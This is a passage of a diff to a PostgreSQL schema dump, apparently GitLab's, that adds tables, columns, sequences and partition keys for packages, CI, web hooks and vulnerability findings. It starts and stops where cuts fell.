+ fingerprint text NOT NULL,
+ CONSTRAINT check_9e8a5eef0a CHECK ((char_length(fingerprint) <= 255)),
+ CONSTRAINT check_d188f6547f CHECK ((char_length(public_key) <= 524288))
+);
+
+CREATE SEQUENCE packages_debian_project_distribution_keys_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE packages_debian_project_distribution_keys_id_seq OWNED BY packages_debian_project_distribution_keys.id;
+
CREATE TABLE packages_debian_project_distributions (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -15438,6 +16346,15 @@ CREATE SEQUENCE packages_events_id_seq
ALTER SEQUENCE packages_events_id_seq OWNED BY packages_events.id;
+CREATE TABLE packages_helm_file_metadata (
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ package_file_id bigint NOT NULL,
+ channel text NOT NULL,
+ metadata jsonb,
+ CONSTRAINT check_c34067922d CHECK ((char_length(channel) <= 63))
+);
+
CREATE TABLE packages_maven_metadata (
id bigint NOT NULL,
package_id bigint NOT NULL,
@@ -15817,7 +16734,13 @@ CREATE TABLE plan_limits (
daily_invites integer DEFAULT 0 NOT NULL,
ci_pipeline_deployments integer DEFAULT 500 NOT NULL,
pull_mirror_interval_seconds integer DEFAULT 300 NOT NULL,
- rubygems_max_file_size bigint DEFAULT '3221225472'::bigint NOT NULL
+ rubygems_max_file_size bigint DEFAULT '3221225472'::bigint NOT NULL,
+ terraform_module_max_file_size bigint DEFAULT 1073741824 NOT NULL,
+ helm_max_file_size bigint DEFAULT 5242880 NOT NULL,
+ ci_registered_group_runners integer DEFAULT 1000 NOT NULL,
+ ci_registered_project_runners integer DEFAULT 1000 NOT NULL,
+ web_hook_calls integer DEFAULT 0 NOT NULL,
+ ci_daily_pipeline_schedule_triggers integer DEFAULT 0 NOT NULL
);
CREATE SEQUENCE plan_limits_id_seq
@@ -16469,7 +17392,8 @@ CREATE TABLE project_settings (
has_confluence boolean DEFAULT false NOT NULL,
cve_id_request_enabled boolean DEFAULT true NOT NULL,
has_vulnerabilities boolean DEFAULT false NOT NULL,
- prevent_merge_without_jira_issue boolean DEFAULT false NOT NULL
+ prevent_merge_without_jira_issue boolean DEFAULT false NOT NULL,
+ mr_default_target_self boolean DEFAULT false NOT NULL
);
CREATE TABLE project_statistics (
@@ -16574,7 +17498,7 @@ CREATE TABLE projects (
disable_overriding_approvers_per_merge_request boolean,
external_webhook_token character varying,
issues_template text,
- merge_requests_author_approval boolean,
+ merge_requests_author_approval boolean DEFAULT false,
merge_requests_disable_committers_approval boolean,
merge_requests_template text,
mirror_last_successful_update_at timestamp without time zone,
@@ -16782,10 +17706,12 @@ ALTER SEQUENCE protected_environment_deploy_access_levels_id_seq OWNED BY protec
CREATE TABLE protected_environments (
id integer NOT NULL,
- project_id integer NOT NULL,
+ project_id integer,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
- name character varying NOT NULL
+ name character varying NOT NULL,
+ group_id bigint,
+ CONSTRAINT protected_environments_project_or_group_existence CHECK (((project_id IS NULL) <> (group_id IS NULL)))
);
CREATE SEQUENCE protected_environments_id_seq
@@ -16845,7 +17771,8 @@ CREATE TABLE push_event_payloads (
commit_to bytea,
ref text,
commit_title character varying(70),
- ref_count integer
+ ref_count integer,
+ event_id_convert_to_bigint bigint DEFAULT 0 NOT NULL
);
CREATE TABLE push_rules (
@@ -17228,7 +18155,8 @@ CREATE TABLE saml_providers (
enforced_sso boolean DEFAULT false NOT NULL,
enforced_group_managed_accounts boolean DEFAULT false NOT NULL,
prohibited_outer_forks boolean DEFAULT true NOT NULL,
- default_membership_role smallint DEFAULT 10 NOT NULL
+ default_membership_role smallint DEFAULT 10 NOT NULL,
+ git_check_enforced boolean DEFAULT false NOT NULL
);
CREATE SEQUENCE saml_providers_id_seq
@@ -17305,7 +18233,8 @@ CREATE TABLE security_orchestration_policy_configurations (
project_id bigint NOT NULL,
security_policy_management_project_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
- updated_at timestamp with time zone NOT NULL
+ updated_at timestamp with time zone NOT NULL,
+ configured_at timestamp with time zone
);
COMMENT ON TABLE security_orchestration_policy_configurations IS '{"owner":"group::container security","description":"Configuration used to store relationship between project and security policy repository"}';
@@ -17319,12 +18248,36 @@ CREATE SEQUENCE security_orchestration_policy_configurations_id_seq
ALTER SEQUENCE security_orchestration_policy_configurations_id_seq OWNED BY security_orchestration_policy_configurations.id;
+CREATE TABLE security_orchestration_policy_rule_schedules (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ next_run_at timestamp with time zone,
+ security_orchestration_policy_configuration_id bigint NOT NULL,
+ user_id bigint NOT NULL,
+ policy_index integer NOT NULL,
+ cron text NOT NULL,
+ CONSTRAINT check_915825a76e CHECK ((char_length(cron) <= 255))
+);
+
+COMMENT ON TABLE security_orchestration_policy_rule_schedules IS '{"owner":"group::container security","description":"Schedules used to store relationship between project and security policy repository"}';
+
+CREATE SEQUENCE security_orchestration_policy_rule_schedules_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE security_orchestration_policy_rule_schedules_id_seq OWNED BY security_orchestration_policy_rule_schedules.id;
+
CREATE TABLE security_scans (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
build_id bigint NOT NULL,
- scan_type smallint NOT NULL
+ scan_type smallint NOT NULL,
+ info jsonb DEFAULT '{}'::jsonb NOT NULL
);
CREATE SEQUENCE security_scans_id_seq
@@ -17516,6 +18469,8 @@ CREATE TABLE snippet_repositories (
verified_at timestamp with time zone,
verification_checksum bytea,
verification_failure text,
+ verification_state smallint DEFAULT 0 NOT NULL,
+ verification_started_at timestamp with time zone,
CONSTRAINT snippet_repositories_verification_failure_text_limit CHECK ((char_length(verification_failure) <= 255))
);
@@ -17687,6 +18642,22 @@ CREATE SEQUENCE sprints_id_seq
ALTER SEQUENCE sprints_id_seq OWNED BY sprints.id;
+CREATE TABLE status_check_responses (
+ id bigint NOT NULL,
+ merge_request_id bigint NOT NULL,
+ external_approval_rule_id bigint NOT NULL,
+ sha bytea NOT NULL
+);
+
+CREATE SEQUENCE status_check_responses_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE status_check_responses_id_seq OWNED BY status_check_responses.id;
+
CREATE TABLE status_page_published_incidents (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -17797,7 +18768,9 @@ CREATE TABLE taggings (
tagger_id integer,
tagger_type character varying,
context character varying,
- created_at timestamp without time zone
+ created_at timestamp without time zone,
+ id_convert_to_bigint bigint DEFAULT 0 NOT NULL,
+ taggable_id_convert_to_bigint bigint
);
CREATE SEQUENCE taggings_id_seq
@@ -17860,6 +18833,8 @@ CREATE TABLE terraform_state_versions (
verification_checksum bytea,
verification_failure text,
ci_build_id bigint,
+ verification_started_at timestamp with time zone,
+ verification_state smallint DEFAULT 0 NOT NULL,
CONSTRAINT check_0824bb7bbd CHECK ((char_length(file) <= 255)),
CONSTRAINT tf_state_versions_verification_failure_text_limit CHECK ((char_length(verification_failure) <= 255))
);
@@ -17906,7 +18881,8 @@ CREATE TABLE timelogs (
issue_id integer,
merge_request_id integer,
spent_at timestamp with time zone,
- note_id integer
+ note_id integer,
+ project_id integer
);
CREATE SEQUENCE timelogs_id_seq
@@ -17999,6 +18975,24 @@ CREATE SEQUENCE u2f_registrations_id_seq
ALTER SEQUENCE u2f_registrations_id_seq OWNED BY u2f_registrations.id;
+CREATE TABLE upcoming_reconciliations (
+ id bigint NOT NULL,
+ namespace_id bigint,
+ next_reconciliation_date date NOT NULL,
+ display_alert_from date NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL
+);
+
+CREATE SEQUENCE upcoming_reconciliations_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE upcoming_reconciliations_id_seq OWNED BY upcoming_reconciliations.id;
+
CREATE TABLE uploads (
id integer NOT NULL,
size bigint NOT NULL,
@@ -18079,6 +19073,11 @@ CREATE SEQUENCE user_canonical_emails_id_seq
ALTER SEQUENCE user_canonical_emails_id_seq OWNED BY user_canonical_emails.id;
+CREATE TABLE user_credit_card_validations (
+ user_id bigint NOT NULL,
+ credit_card_validated_at timestamp with time zone NOT NULL
+);
+
CREATE TABLE user_custom_attributes (
id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -18512,23 +19511,87 @@ CREATE SEQUENCE vulnerability_feedback_id_seq
ALTER SEQUENCE vulnerability_feedback_id_seq OWNED BY vulnerability_feedback.id;
-CREATE TABLE vulnerability_finding_fingerprints (
+CREATE TABLE vulnerability_finding_evidence_headers (
id bigint NOT NULL,
- finding_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
- algorithm_type smallint NOT NULL,
- fingerprint_sha256 bytea NOT NULL
+ vulnerability_finding_evidence_request_id bigint,
+ vulnerability_finding_evidence_response_id bigint,
+ name text NOT NULL,
+ value text NOT NULL,
+ CONSTRAINT check_01d21e8d92 CHECK ((char_length(name) <= 255)),
+ CONSTRAINT check_3f9011f903 CHECK ((char_length(value) <= 8192))
+);
+
+CREATE SEQUENCE vulnerability_finding_evidence_headers_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_finding_evidence_headers_id_seq OWNED BY vulnerability_finding_evidence_headers.id;
+
+CREATE TABLE vulnerability_finding_evidence_requests (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ vulnerability_finding_evidence_id bigint NOT NULL,
+ method text,
+ url text,
+ body text,
+ CONSTRAINT check_7e37f2d01a CHECK ((char_length(body) <= 2048)),
+ CONSTRAINT check_8152fbb236 CHECK ((char_length(url) <= 2048)),
+ CONSTRAINT check_d9d11300f4 CHECK ((char_length(method) <= 32))
+);
+
+CREATE SEQUENCE vulnerability_finding_evidence_requests_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_finding_evidence_requests_id_seq OWNED BY vulnerability_finding_evidence_requests.id;
+
+CREATE TABLE vulnerability_finding_evidence_responses (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ vulnerability_finding_evidence_id bigint NOT NULL,
+ status_code integer,
+ reason_phrase text,
+ body text,
+ CONSTRAINT check_58b124ab48 CHECK ((char_length(reason_phrase) <= 2048)),
+ CONSTRAINT check_76bac0c32b CHECK ((char_length(body) <= 2048))
);
-CREATE SEQUENCE vulnerability_finding_fingerprints_id_seq
+CREATE SEQUENCE vulnerability_finding_evidence_responses_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE vulnerability_finding_fingerprints_id_seq OWNED BY vulnerability_finding_fingerprints.id;
+ALTER SEQUENCE vulnerability_finding_evidence_responses_id_seq OWNED BY vulnerability_finding_evidence_responses.id;
+
+CREATE TABLE vulnerability_finding_evidences (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ vulnerability_occurrence_id bigint NOT NULL,
+ summary text,
+ CONSTRAINT check_5773b236fb CHECK ((char_length(summary) <= 8000000))
+);
+
+CREATE SEQUENCE vulnerability_finding_evidences_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_finding_evidences_id_seq OWNED BY vulnerability_finding_evidences.id;
CREATE TABLE vulnerability_finding_links (
id bigint NOT NULL,
@@ -18550,6 +19613,24 @@ CREATE SEQUENCE vulnerability_finding_links_id_seq
ALTER SEQUENCE vulnerability_finding_links_id_seq OWNED BY vulnerability_finding_links.id;
+CREATE TABLE vulnerability_finding_signatures (
+ id bigint NOT NULL,
+ finding_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ algorithm_type smallint NOT NULL,
+ signature_sha bytea NOT NULL
+);
+
+CREATE SEQUENCE vulnerability_finding_signatures_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_finding_signatures_id_seq OWNED BY vulnerability_finding_signatures.id;
+
CREATE TABLE vulnerability_findings_remediations (
id bigint NOT NULL,
vulnerability_occurrence_id bigint,
@@ -18758,7 +19839,8 @@ CREATE TABLE vulnerability_statistics (
low integer DEFAULT 0 NOT NULL,
unknown integer DEFAULT 0 NOT NULL,
info integer DEFAULT 0 NOT NULL,
- letter_grade smallint NOT NULL
+ letter_grade smallint NOT NULL,
+ latest_pipeline_id bigint
);
CREATE SEQUENCE vulnerability_statistics_id_seq
@@ -18788,7 +19870,7 @@ CREATE SEQUENCE vulnerability_user_mentions_id_seq
ALTER SEQUENCE vulnerability_user_mentions_id_seq OWNED BY vulnerability_user_mentions.id;
-CREATE TABLE web_hook_logs (
+CREATE TABLE web_hook_logs_archived (
id integer NOT NULL,
web_hook_id integer NOT NULL,
trigger character varying,
@@ -18804,16 +19886,6 @@ CREATE TABLE web_hook_logs (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE web_hook_logs_id_seq
- AS integer
- START WITH 1
- INCREMENT BY 1
- NO MINVALUE
- NO MAXVALUE
- CACHE 1;
-
-ALTER SEQUENCE web_hook_logs_id_seq OWNED BY web_hook_logs.id;
-
CREATE TABLE web_hooks (
id integer NOT NULL,
project_id integer,
@@ -18843,7 +19915,10 @@ CREATE TABLE web_hooks (
feature_flag_events boolean DEFAULT false NOT NULL,
releases_events boolean DEFAULT false NOT NULL,
member_events boolean DEFAULT false NOT NULL,
- subgroup_events boolean DEFAULT false NOT NULL
+ subgroup_events boolean DEFAULT false NOT NULL,
+ recent_failures smallint DEFAULT 0 NOT NULL,
+ backoff_count smallint DEFAULT 0 NOT NULL,
+ disabled_until timestamp with time zone
);
CREATE SEQUENCE web_hooks_id_seq
@@ -19011,13 +20086,13 @@ ALTER TABLE ONLY analytics_cycle_analytics_group_value_streams ALTER COLUMN id S
ALTER TABLE ONLY analytics_cycle_analytics_project_stages ALTER COLUMN id SET DEFAULT nextval('analytics_cycle_analytics_project_stages_id_seq'::regclass);
-ALTER TABLE ONLY analytics_devops_adoption_segment_selections ALTER COLUMN id SET DEFAULT nextval('analytics_devops_adoption_segment_selections_id_seq'::regclass);
+ALTER TABLE ONLY analytics_cycle_analytics_project_value_streams ALTER COLUMN id SET DEFAULT nextval('analytics_cycle_analytics_project_value_streams_id_seq'::regclass);
ALTER TABLE ONLY analytics_devops_adoption_segments ALTER COLUMN id SET DEFAULT nextval('analytics_devops_adoption_segments_id_seq'::regclass);
ALTER TABLE ONLY analytics_devops_adoption_snapshots ALTER COLUMN id SET DEFAULT nextval('analytics_devops_adoption_snapshots_id_seq'::regclass);
-ALTER TABLE ONLY analytics_instance_statistics_measurements ALTER COLUMN id SET DEFAULT nextval('analytics_instance_statistics_measurements_id_seq'::regclass);
+ALTER TABLE ONLY analytics_usage_trends_measurements ALTER COLUMN id SET DEFAULT nextval('analytics_usage_trends_measurements_id_seq'::regclass);
ALTER TABLE ONLY appearances ALTER COLUMN id SET DEFAULT nextval('appearances_id_seq'::regclass);
@@ -19079,6 +20154,8 @@ ALTER TABLE ONLY boards_epic_board_labels ALTER COLUMN id SET DEFAULT nextval('b
ALTER TABLE ONLY boards_epic_board_positions ALTER COLUMN id SET DEFAULT nextval('boards_epic_board_positions_id_seq'::regclass);
+ALTER TABLE ONLY boards_epic_board_recent_visits ALTER COLUMN id SET DEFAULT nextval('boards_epic_board_recent_visits_id_seq'::regclass);
+
ALTER TABLE ONLY boards_epic_boards ALTER COLUMN id SET DEFAULT nextval('boards_epic_boards_id_seq'::regclass);
ALTER TABLE ONLY boards_epic_list_user_preferences ALTER COLUMN id SET DEFAULT nextval('boards_epic_list_user_preferences_id_seq'::regclass);
@@ -19093,6 +20170,10 @@ ALTER TABLE ONLY bulk_import_configurations ALTER COLUMN id SET DEFAULT nextval(
ALTER TABLE ONLY bulk_import_entities ALTER COLUMN id SET DEFAULT nextval('bulk_import_entities_id_seq'::regclass);
+ALTER TABLE ONLY bulk_import_export_uploads ALTER COLUMN id SET DEFAULT nextval('bulk_import_export_uploads_id_seq'::regclass);
+
+ALTER TABLE ONLY bulk_import_exports ALTER COLUMN id SET DEFAULT nextval('bulk_import_exports_id_seq'::regclass);
+
ALTER TABLE ONLY bulk_import_failures ALTER COLUMN id SET DEFAULT nextval('bulk_import_failures_id_seq'::regclass);
ALTER TABLE ONLY bulk_import_trackers ALTER COLUMN id SET DEFAULT nextval('bulk_import_trackers_id_seq'::regclass);
@@ -19131,10 +20212,16 @@ ALTER TABLE ONLY ci_instance_variables ALTER COLUMN id SET DEFAULT nextval('ci_i
ALTER TABLE ONLY ci_job_artifacts ALTER COLUMN id SET DEFAULT nextval('ci_job_artifacts_id_seq'::regclass);
+ALTER TABLE ONLY ci_job_token_project_scope_links ALTER COLUMN id SET DEFAULT nextval('ci_job_token_project_scope_links_id_seq'::regclass);
+
ALTER TABLE ONLY ci_job_variables ALTER COLUMN id SET DEFAULT nextval('ci_job_variables_id_seq'::regclass);
+ALTER TABLE ONLY ci_minutes_additional_packs ALTER COLUMN id SET DEFAULT nextval('ci_minutes_additional_packs_id_seq'::regclass);
+
ALTER TABLE ONLY ci_namespace_monthly_usages ALTER COLUMN id SET DEFAULT nextval('ci_namespace_monthly_usages_id_seq'::regclass);
+ALTER TABLE ONLY ci_pending_builds ALTER COLUMN id SET DEFAULT nextval('ci_pending_builds_id_seq'::regclass);
+
ALTER TABLE ONLY ci_pipeline_artifacts ALTER COLUMN id SET DEFAULT nextval('ci_pipeline_artifacts_id_seq'::regclass);
ALTER TABLE ONLY ci_pipeline_chat_data ALTER COLUMN id SET DEFAULT nextval('ci_pipeline_chat_data_id_seq'::regclass);
@@ -19167,6 +20254,8 @@ ALTER TABLE ONLY ci_runner_projects ALTER COLUMN id SET DEFAULT nextval('ci_runn
ALTER TABLE ONLY ci_runners ALTER COLUMN id SET DEFAULT nextval('ci_runners_id_seq'::regclass);
+ALTER TABLE ONLY ci_running_builds ALTER COLUMN id SET DEFAULT nextval('ci_running_builds_id_seq'::regclass);
+
ALTER TABLE ONLY ci_sources_pipelines ALTER COLUMN id SET DEFAULT nextval('ci_sources_pipelines_id_seq'::regclass);
ALTER TABLE ONLY ci_sources_projects ALTER COLUMN id SET DEFAULT nextval('ci_sources_projects_id_seq'::regclass);
@@ -19183,6 +20272,10 @@ ALTER TABLE ONLY ci_trigger_requests ALTER COLUMN id SET DEFAULT nextval('ci_tri
ALTER TABLE ONLY ci_triggers ALTER COLUMN id SET DEFAULT nextval('ci_triggers_id_seq'::regclass);
+ALTER TABLE ONLY ci_unit_test_failures ALTER COLUMN id SET DEFAULT nextval('ci_unit_test_failures_id_seq'::regclass);
+
+ALTER TABLE ONLY ci_unit_tests ALTER COLUMN id SET DEFAULT nextval('ci_unit_tests_id_seq'::regclass);
+
ALTER TABLE ONLY ci_variables ALTER COLUMN id SET DEFAULT nextval('ci_variables_id_seq'::regclass);
ALTER TABLE ONLY cluster_agent_tokens ALTER COLUMN id SET DEFAULT nextval('cluster_agent_tokens_id_seq'::regclass);
@@ -19241,6 +20334,8 @@ ALTER TABLE ONLY dast_profiles ALTER COLUMN id SET DEFAULT nextval('dast_profile
ALTER TABLE ONLY dast_scanner_profiles ALTER COLUMN id SET DEFAULT nextval('dast_scanner_profiles_id_seq'::regclass);
+ALTER TABLE ONLY dast_site_profile_secret_variables ALTER COLUMN id SET DEFAULT nextval('dast_site_profile_secret_variables_id_seq'::regclass);
+
ALTER TABLE ONLY dast_site_profiles ALTER COLUMN id SET DEFAULT nextval('dast_site_profiles_id_seq'::regclass);
ALTER TABLE ONLY dast_site_tokens ALTER COLUMN id SET DEFAULT nextval('dast_site_tokens_id_seq'::regclass);
@@ -19277,6 +20372,10 @@ ALTER TABLE ONLY dora_daily_metrics ALTER COLUMN id SET DEFAULT nextval('dora_da
ALTER TABLE ONLY draft_notes ALTER COLUMN id SET DEFAULT nextval('draft_notes_id_seq'::regclass);
+ALTER TABLE ONLY elastic_index_settings ALTER COLUMN id SET DEFAULT nextval('elastic_index_settings_id_seq'::regclass);
+
+ALTER TABLE ONLY elastic_reindexing_slices ALTER COLUMN id SET DEFAULT nextval('elastic_reindexing_slices_id_seq'::regclass);
+
ALTER TABLE ONLY elastic_reindexing_subtasks ALTER COLUMN id SET DEFAULT nextval('elastic_reindexing_subtasks_id_seq'::regclass);
ALTER TABLE ONLY elastic_reindexing_tasks ALTER COLUMN id SET DEFAULT nextval('elastic_reindexing_tasks_id_seq'::regclass);
@@ -19387,6 +20486,12 @@ ALTER TABLE ONLY import_export_uploads ALTER COLUMN id SET DEFAULT nextval('impo
ALTER TABLE ONLY import_failures ALTER COLUMN id SET DEFAULT nextval('import_failures_id_seq'::regclass);
+ALTER TABLE ONLY in_product_marketing_emails ALTER COLUMN id SET DEFAULT nextval('in_product_marketing_emails_id_seq'::regclass);
+
+ALTER TABLE ONLY incident_management_escalation_policies ALTER COLUMN id SET DEFAULT nextval('incident_management_escalation_policies_id_seq'::regclass);
+
+ALTER TABLE ONLY incident_management_escalation_rules ALTER COLUMN id SET DEFAULT nextval('incident_management_escalation_rules_id_seq'::regclass);
+
ALTER TABLE ONLY incident_management_oncall_participants ALTER COLUMN id SET DEFAULT nextval('incident_management_oncall_participants_id_seq'::regclass);
ALTER TABLE ONLY incident_management_oncall_rotations ALTER COLUMN id SET DEFAULT nextval('incident_management_oncall_rotations_id_seq'::regclass);
@@ -19463,6 +20568,8 @@ ALTER TABLE ONLY merge_request_cleanup_schedules ALTER COLUMN merge_request_id S
ALTER TABLE ONLY merge_request_context_commits ALTER COLUMN id SET DEFAULT nextval('merge_request_context_commits_id_seq'::regclass);
+ALTER TABLE ONLY merge_request_diff_commit_users ALTER COLUMN id SET DEFAULT nextval('merge_request_diff_commit_users_id_seq'::regclass);
+
ALTER TABLE ONLY merge_request_diff_details ALTER COLUMN merge_request_diff_id SET DEFAULT nextval('merge_request_diff_details_merge_request_diff_id_seq'::regclass);
ALTER TABLE ONLY merge_request_diffs ALTER COLUMN id SET DEFAULT nextval('merge_request_diffs_id_seq'::regclass);
@@ -19543,6 +20650,8 @@ ALTER TABLE ONLY packages_debian_group_component_files ALTER COLUMN id SET DEFAU
ALTER TABLE ONLY packages_debian_group_components ALTER COLUMN id SET DEFAULT nextval('packages_debian_group_components_id_seq'::regclass);
+ALTER TABLE ONLY packages_debian_group_distribution_keys ALTER COLUMN id SET DEFAULT nextval('packages_debian_group_distribution_keys_id_seq'::regclass);
+
ALTER TABLE ONLY packages_debian_group_distributions ALTER COLUMN id SET DEFAULT nextval('packages_debian_group_distributions_id_seq'::regclass);
ALTER TABLE ONLY packages_debian_project_architectures ALTER COLUMN id SET DEFAULT nextval('packages_debian_project_architectures_id_seq'::regclass);
@@ -19551,6 +20660,8 @@ ALTER TABLE ONLY packages_debian_project_component_files ALTER COLUMN id SET DEF
ALTER TABLE ONLY packages_debian_project_components ALTER COLUMN id SET DEFAULT nextval('packages_debian_project_components_id_seq'::regclass);
+ALTER TABLE ONLY packages_debian_project_distribution_keys ALTER COLUMN id SET DEFAULT nextval('packages_debian_project_distribution_keys_id_seq'::regclass);
+
ALTER TABLE ONLY packages_debian_project_distributions ALTER COLUMN id SET DEFAULT nextval('packages_debian_project_distributions_id_seq'::regclass);
ALTER TABLE ONLY packages_debian_publications ALTER COLUMN id SET DEFAULT nextval('packages_debian_publications_id_seq'::regclass);
@@ -19699,6 +20810,8 @@ ALTER TABLE ONLY security_findings ALTER COLUMN id SET DEFAULT nextval('security
ALTER TABLE ONLY security_orchestration_policy_configurations ALTER COLUMN id SET DEFAULT nextval('security_orchestration_policy_configurations_id_seq'::regclass);
+ALTER TABLE ONLY security_orchestration_policy_rule_schedules ALTER COLUMN id SET DEFAULT nextval('security_orchestration_policy_rule_schedules_id_seq'::regclass);
+
ALTER TABLE ONLY security_scans ALTER COLUMN id SET DEFAULT nextval('security_scans_id_seq'::regclass);
ALTER TABLE ONLY self_managed_prometheus_alert_events ALTER COLUMN id SET DEFAULT nextval('self_managed_prometheus_alert_events_id_seq'::regclass);
@@ -19729,6 +20842,8 @@ ALTER TABLE ONLY spam_logs ALTER COLUMN id SET DEFAULT nextval('spam_logs_id_seq
ALTER TABLE ONLY sprints ALTER COLUMN id SET DEFAULT nextval('sprints_id_seq'::regclass);
+ALTER TABLE ONLY status_check_responses ALTER COLUMN id SET DEFAULT nextval('status_check_responses_id_seq'::regclass);
+
ALTER TABLE ONLY status_page_published_incidents ALTER COLUMN id SET DEFAULT nextval('status_page_published_incidents_id_seq'::regclass);
ALTER TABLE ONLY status_page_settings ALTER COLUMN project_id SET DEFAULT nextval('status_page_settings_project_id_seq'::regclass);
@@ -19759,6 +20874,8 @@ ALTER TABLE ONLY trending_projects ALTER COLUMN id SET DEFAULT nextval('trending
ALTER TABLE ONLY u2f_registrations ALTER COLUMN id SET DEFAULT nextval('u2f_registrations_id_seq'::regclass);
+ALTER TABLE ONLY upcoming_reconciliations ALTER COLUMN id SET DEFAULT nextval('upcoming_reconciliations_id_seq'::regclass);
+
ALTER TABLE ONLY uploads ALTER COLUMN id SET DEFAULT nextval('uploads_id_seq'::regclass);
ALTER TABLE ONLY user_agent_details ALTER COLUMN id SET DEFAULT nextval('user_agent_details_id_seq'::regclass);
@@ -19795,10 +20912,18 @@ ALTER TABLE ONLY vulnerability_external_issue_links ALTER COLUMN id SET DEFAULT
ALTER TABLE ONLY vulnerability_feedback ALTER COLUMN id SET DEFAULT nextval('vulnerability_feedback_id_seq'::regclass);
-ALTER TABLE ONLY vulnerability_finding_fingerprints ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_fingerprints_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_finding_evidence_headers ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidence_headers_id_seq'::regclass);
+
+ALTER TABLE ONLY vulnerability_finding_evidence_requests ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidence_requests_id_seq'::regclass);
+
+ALTER TABLE ONLY vulnerability_finding_evidence_responses ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidence_responses_id_seq'::regclass);
+
+ALTER TABLE ONLY vulnerability_finding_evidences ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidences_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_finding_links ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_links_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_finding_signatures ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_signatures_id_seq'::regclass);
+
ALTER TABLE ONLY vulnerability_findings_remediations ALTER COLUMN id SET DEFAULT nextval('vulnerability_findings_remediations_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_historical_statistics ALTER COLUMN id SET DEFAULT nextval('vulnerability_historical_statistics_id_seq'::regclass);
@@ -19839,6 +20964,60 @@ ALTER TABLE ONLY x509_issuers ALTER COLUMN id SET DEFAULT nextval('x509_issuers_
ALTER TABLE ONLY zoom_meetings ALTER COLUMN id SET DEFAULT nextval('zoom_meetings_id_seq'::regclass);
+ALTER TABLE ONLY audit_events
+ ADD CONSTRAINT audit_events_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.audit_events_000000
+ ADD CONSTRAINT audit_events_000000_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.audit_events_202212
+ ADD CONSTRAINT audit_events_202212_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.audit_events_202301
+ ADD CONSTRAINT audit_events_202301_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.audit_events_202302
+ ADD CONSTRAINT audit_events_202302_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.audit_events_202303
+ ADD CONSTRAINT audit_events_202303_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.audit_events_202304
+ ADD CONSTRAINT audit_events_202304_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.audit_events_202305
+ ADD CONSTRAINT audit_events_202305_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.audit_events_202306
+ ADD CONSTRAINT audit_events_202306_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY web_hook_logs
+ ADD CONSTRAINT web_hook_logs_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.web_hook_logs_000000
+ ADD CONSTRAINT web_hook_logs_000000_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.web_hook_logs_202212
